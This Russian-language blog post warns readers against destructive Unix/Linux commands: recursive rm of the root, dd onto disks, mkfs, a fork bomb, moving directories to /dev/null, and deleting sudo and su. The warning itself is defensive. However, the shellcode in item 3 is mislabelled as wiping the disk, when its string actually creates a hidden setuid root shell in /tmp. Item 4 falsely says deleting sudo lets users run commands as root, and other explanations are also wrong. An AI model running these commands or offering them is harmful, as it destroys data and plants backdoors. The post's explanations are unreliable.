Команды которые не стоит выполнять в Unix/Linux

Команды которые не стоит выполнять в Unix/Linux

В этой статье «Команды которые не стоит выполнять в Unix/Linux» я буду собирать все команды, которые никогда не нужно выполнять в Unix/Linux. Любая из них перечисленных команд ниже может привести к потере или повреждению данных, а так же может привести к зависанию работы ОС.

НИКОГДА НЕ ЗАПУСКАЙТЕ ЭТИ КОМАНДЫ В консоле UNIX/LINUX! Даже если кто-то советует вам на форуме.

Для не опытного пользователя — это может стать причиной падения серверов и больших проблем. Всегда будьте внимательны и если не знаете, переспросите у кого-то. Сейчас я представлю основные команды, которые могут нанести очень большой вред ОС и серверу и по мере поступления материала, буду добавлять еще.

1. Любая из этих команд сотрет все с вашего домашнего каталога, /root/ или просто прояснится пустой диск:

$ sudo rm -rf /

Данная команда отформатирует вашу корневую папку «/».

Или:

rm -rf .*

Данная команда удалит все файлы, даже те которые имеют расширения «*.*».

А так же:

dd if=/dev/zero of=/dev/sda

Команда, вызовет функцию «zero» — это функция для форматирования. Она отформатирует весь раздел /dev/sda.

Можно еще так стереть диск:

# mkfs.ext3 /dev/hda

Утилита ext3 отформатирует раздел /dev/hda в файловую систему ext3.

А так же, еще один из вариантов:

# whatever > /dev/hda

И так же:

# find -type f -mtime +30 -exec mv {} /dev/null \;

Ну и еще веселый вариант:

# mv ~ /dev/null

Или:

# mv / /dev/null

2. Вызывает панику ядра «kernel panic» или зависает окно в Linux:

dd if=/dev/random of=/dev/port
:( ){:|:&};:

3. Это делает то же самое что и «rm -rf /»:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" \
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" \
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" \
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" \
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" \
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" \
"\x6e\x2f\x73\x68\x00\x2d\x63\x00" \
"cp -p /bin/sh /tmp/.beyond; chmod 4755 \
/tmp/.beyond;";

PS: Не проверялось!

4. Этот позволит вам выполнять команды с правами суперпользователя:

# rm -f /usr/bin/sudo;rm -f /bin/su

PS: если кто-то знает еще и другие команды которые наносят вред ОС, напишите в комментариях и я добавлю в эту статью. Спасибо!

На этом, у меня все, тема «Команды которые не стоит выполнять в Unix/Linux» завершена.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.